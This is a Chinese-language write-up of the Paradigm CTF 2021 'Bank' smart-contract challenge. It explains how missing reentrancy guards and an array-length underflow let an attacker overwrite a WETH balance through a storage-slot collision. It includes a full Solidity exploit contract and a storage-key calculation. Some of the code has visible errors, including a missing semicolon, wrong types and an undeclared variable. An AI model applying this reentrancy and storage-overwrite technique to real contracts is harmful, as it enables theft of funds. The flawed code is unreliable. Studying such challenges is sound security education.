Paradigm CTF-银行

基于STEVE的博客，可以参考https://smarx.com/posts/2021/02/writeup-of-paradigm-ctf-bank/

题目：

该题是Samczsun在2021年2月份出的题目中的一道，非常的有意思。做这道题的时候让我回忆起了当初在高中做奥林匹克竞赛题的感觉，一环扣一环。非常感谢Samczsun。这道题目内容很简单，他给你了一个Bank合约，让你将合约中的50个WETH全部拿走即可。

目前作者正在找智能合约相关的工作，希望能跟行业内人士多聊聊 :fish: 。如果你觉得我写的还不错，可以加我的微信：woodward1993

题目分析：

这个题目不是逆向题，他给了你源代码。(:boxing_glove::boxing_glove::boxing_glove: Thanks GOD)

简单看，源代码里面提供了一个Bank合约，你可以在该合约中存Token，取Token，设置账户等。

该合约另一个奇怪的点是他的数据结构：

给定了一个map，map里面是以address为key，以Accounts动态数组作为值。Accounts动态数组里存放的是结构体Account，该结构体包含一个string, 一个uint，和一个map。这个accounts 的含义是一个地址对应的是多个账户，每个账户有自己的账户名，该账户所拥有的Token的种类数量，以及每种Token的对应的余额。

struct Account {
        string accountName;
        uint uniqueTokens;
        mapping(address => uint) balances;
    }
mapping(address => Account[]) accounts;

题目解析：

特点：

拿到题目时，先整体分析下这个合约。最明显的两个特点是：

• deposit, withdraw等函数都没有防止重进入的措施
  • 没有nonReentry修饰符
• 存在数组越界情况
  • accounts[msg.sender].length--; 如果此时的accounts[msg.sender].length == 0,则会使得accounts[msg.sender].length下溢出
  • account.uniqueTokens--;
  • account.balances[token] -= amount;

思路：

那此时最直接的思路是利用重进入，使得数组下越界，然后利用越界的数组，在Storage写入我感兴趣的值，比如我的账户的WETH的余额等，然后在调用withdraw函数取出合约中所有的WETH到我的账户上。:+1:

重进入：

既然说到重进入，就需要理解什么是重进入，它是怎么个原理。简单来说就是合约A的方法A在调用合约B的方法B时，在方法B的内部又再次调用了合于A的方法A。此时A会再次执行，称为重进入。

sequenceDiagram
    ContractA->>funcA: 合约A调用方法A
    funcA ->> ContractB_funcB: 方法A调用合约B中的方法B
    opt 重进入
    ContractB_funcB ->> funcA: 重进入
    funcA ->> ContractB_funcB: 方法A调用合约B中的方法B
    end
    alt 结束调用
    ContractB_funcB ->> ContractB_funcC: 合约B的方法B调用合约B的方法C
    end

注意重进入与顺序执行的区别。重进入可以理解为发生递归。

function inSequence() {
    contractA.funcA()
    contractB.funcB()
    contractA.funcA()
    contractB.funcB()    
}

这并不是重进入，他只是顺序执行。重进入的一个核心概念是要在函数A的内部调用函数B，然后函数B在内部调用回函数A。而对于顺序执行，即使顺序执行的逻辑被包含在一个函数中，每一步都互相独立，不存在一个递归逻辑。

重进入的目标：

我们需要明确我们的目标是什么，否则思路会不清晰。从上面的分析可以看到，我们重进入的目标是让数组下溢出。即：

accounts[msg.sender].length == uint(-1)

要达成这个目标，我们需要withdrawToken函数在执行如下代码段的时候，满足如下三个条件：

1. accounts[msg.sender].length==0
2. account.uniqueTokens == 1
3. account.balances[token] == 0

func_withdrawToken:
if (account.balances[token] == 0) {
    account.uniqueTokens--;
    if (account.uniqueTokens == 0 && accountId == lastAccount) {
                    accounts[msg.sender].length--;
    }
}

分析withdarwToken函数发现，唯有如下两个函数涉及到外部合约的调用：

ERC20Like(token).balanceOf(msg.sender)

ERC20Like(token).transferFrom(msg.sender, address(this), amount)

如果我们在ERC20Like(token).balanceOf(msg.sender)中调用closeLastAccount()函数，则可以使得条件1，3都能满足。然而，问题的关键在于条件2. 如果我们这样调用，由于withdrawToken中要求account.uniqueTokens == 1, 而 closeLastAccount中要求 accounts[msg.sender][lastAccount].uniqueTokens == 0.此刻两个要求相冲突，必然会导致revert.

function closeLastAccount() external {
    // make sure the user has an account
    require(accounts[msg.sender].length > 0, "closeLastAccount/no-accounts");

    // make sure the last account is empty
    uint lastAccount = accounts[msg.sender].length - 1;
    require(accounts[msg.sender][lastAccount].uniqueTokens == 0, "closeLastAccount/non-empty");

    // close the account
    accounts[msg.sender].length--;
}

此时，我们需要梳理关键的三个函数的要求以及可以发生重进入的位点，及在该位点前发生的状态改变：

再来考虑我们的目标：

accounts[msg.sender].length == uint(-1)

要实现该目标，我们的目标状态为：uniqueTokens = 0, len = uint(-1)

整理成调用栈结构为：

withdrawToken =>
    balanceOf_1 =>
        closeLastAccount
        depositToken
            balanceOf_1 =>
                closeLastAccount
            balanceOf_2
    balanceOf_2

现在的问题是我们想要在最开始调用withdarwToken函数时，让其uniqueTokens=0且len=1, 可以利用len++和len--的条件不一致来实现。即让withdrawToken中的accountId != lastAccount，则该len--就不会执行，从而可以得到uniqueTokens=0且len=1。

pragma solidity >=0.4.22;

import './Bank.sol';

contract HackBank is ERC20like {
    uint reentry;
    address bank;
    constructor(address _bank) {
        bank = _bank;
    }
    function transfer(address dst, uint qty) public returns (bool){
        return true;
    }
    function transferFrom(address src, address dst, uint qty) public returns (bool){
        return true;
    }
    function approve(address, uint) public returns (bool){
        return true;
    }
    function balanceOf(address who) public returns (uint){
        // withdrawToken 1  [0, 1]
        // closeAcc         [0, 0]
        // depositToken 1  [0, 1]
        // closeAcc         [0, 0]
        // depositToken 2  [1, 0]
        // withdrawToken 2  [0, -1]
        if (reentry == 1) {
            reentry = 0;
            Bank(bank).closeLastAccount();
            reentry = 2;
            Bank(bank).depositToken(0, address(this), 0);
        } else if (reentry == 2) {
            Bank(bank).closeLastAccount();
            reentry = 0;
        } 
        return 0;

    }
    function hack_underflow() public {
        // make it [0]
        Bank(bank).depositToken(0,address(this),0); //[1]
        Bank(bank).depositToken(1, address(this), 0); //[1, 1]
        Bank(bank).withdrawToken(0, address(this), 0); // [0, 1]
        Bank(bank).withdrawToken(1, address(this), 0); // [0]
        reentry = 1;
        Bank(bank).withdrawToken(0, address(this), 0);

    }
    function withdraw_WETH() public {
        bytes memory base_key = keccak256(abi.encodePacked(address(this), 0x02));
        bytes memory acc_key = keccak256(base_key);
        uint accountId;
        uint delta;
        for (accountId = 0; true ; accountId += 1) {
            bytes memory target = keccak256(abi.encodePacked(address(WETH), uint(acc_key) + 3*accountId + 2))
            delta = uint(-1) - uint(acc_key) + uint(target) + 1;
            if (delta % 3 == 0) {
                break;
            }
        }
        accountId = delta / 3;
        value = string(abi.encodePacked(bytes31(uint248(uint(-1)))));
        Bank(bank).setAccountName(accountId, value);
        Bank(bank).withdrawToken(accountId, WETH, 50 ether); 
    }
    function exploit() public {
        hack_underflow();
        withdraw_WETH();
    }
}

利用下溢出的数组写值

通过重进入，我们成功的将accounts[msg.sender].length == uint(-1)，根据思路，我们可以利用setAccountName(uint accountId, string name)函数往里写值，让我们账户里WETH的值无穷大，从而爆破该合约。

首先我们看下函数：setAccountName(uint accountId, string name)

function setAccountName(uint accountId, string name) external {
    require(accountId < accounts[msg.sender].length, "setAccountName/invalid-account");

    accounts[msg.sender][accountId].accountName = name;
}

简单来讲就是把一个字符串写入到accounts[msg.sender][accountId].accountName中。我们的目标是accounts[msg.sender][accountId].balances[WETH]==uint(-1),则这里我们需要找到一个accountId, 使得如下等式成立：

key(accounts[msg.sender][accountId].accountName) == key(accounts[msg.sender][accountId].balances[WETH])
等式左侧：
key(accounts[msg.sender][accountId].accountName) = 
{
    base_key = keccak(abi.encodePacked(msg.sender, 0x02));
    acc_key = keccak(base_key) + 3 * accountId
    accountName_key = acc_key + 0x00 
}
等式右侧：
key(accounts[msg.sender][accountId].balances[WETH]) = 
{
    base_key2 = keccak(abi.encodePacked(msg.sender, 0x02));
    acc_key2 = keccak(base_key2) + 3 * accountId
    balances[WETH]_key = keccak(abi.encodePacked(address(WETH), acc_key2+0x02))
}
则：
keccak(base_key) + 3 * accountId = keccak(abi.encodePacked(address(WETH),keccak(base_key) + 3 * accountId + 0x02))
=>
accountId * 3 = WETH_BALANCE_KEY - BASE_KEY
//此处为了避免出现负值，加个uint(-1) + 1
=>
accountId * 3 = uint(-1) - BASE_KEY + WETH_BALANCE_KEY + 1
要求该accountId的值必须正好是整除3，不能有余数，即
if ((uint(-1) - BASE_KEY + WETH_BALANCE_KEY + 1) % 3 == 0) {
    break;
}
accountId++;

找到对应的accountId后，需要给其赋值，使得accounts[msg.sender][accountId].balances[WETH]=uint(-1),那么这个值应该怎么给呢？

这就涉及到string数据如何存储在storage中：

字节和字符串的编码相同。对于短字节数组，它们将数据存储在存储长度的同一插槽中。特别是：如果数据长度最多为31字节，则存储在高阶字节（左对齐）中，低阶字节存储len*2。对于存储长度为32或更多字节的数据的字节数组，主插槽存储len*2+1，数据通常存储在keccak256（slot）中。这意味着可以通过检查是否设置了最低位来区分短数组和长数组：短数组（最低为为0）和长数组（最低位为1）。

比如如下的函数：

function test(uint accountId) public {
    accounts[msg.sender].length++;
    Account storage account = accounts[msg.sender][accountId];
    account.accountName = "Tester";
    account.uniqueTokens = 1;
    account.balances[address(this)] = uint(-1);
}

Tester会首先编码成546573746572(Tester.encode().hex()=546573746572)，其长度为0x06,长度的2倍为0x0c 则在内存中其存储的值为：0x546573746572000000000000000000000000000000000000000000000000000c

在本题目中，我们希望储存的值为：0xffffffffffffffffffffffffffffffffffffffffffffffffffff共31位，则实际写入内存的值为：0xffffffffffffffffffffffffffffffffffffffffffffffffffff3e, 则我们可以利用如下的python代码得到decode后的字符串

也可以存储一个足够大的值，只要大于50 ether就行。比如5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a，则对应储存的值为0x5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a3e

string = "5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a"
byte_array = bytearray.fromhex(string)
byte_array.decode()
=>
'ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ'

整理一下：

function withdraw_WETH() public {
    bytes memory base_key = keccak256(abi.encodePacked(address(this), 0x02));
    bytes memory acc_key = keccak256(base_key);
    uint accountId;
    uint delta;
    for (accountId = 0; true ; accountId += 1) {
        bytes memory target = keccak256(abi.encodePacked(address(WETH), uint(acc_key) + 3*accountId + 2))
        delta = uint(-1) - uint(acc_key) + uint(target) + 1;
        if (delta % 3 == 0) {
            break;
        }
    }
    accountId = delta / 3;
    //value = string(abi.encodePacked(bytes31(uint248(uint(-1)))));
    string memory value = "ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ";
    Bank(bank).setAccountName(accountId, value);
    Bank(bank).withdrawToken(accountId, WETH, 50 ether); 
}
function exploit() public {
    hack_underflow();
    withdraw_WETH();
}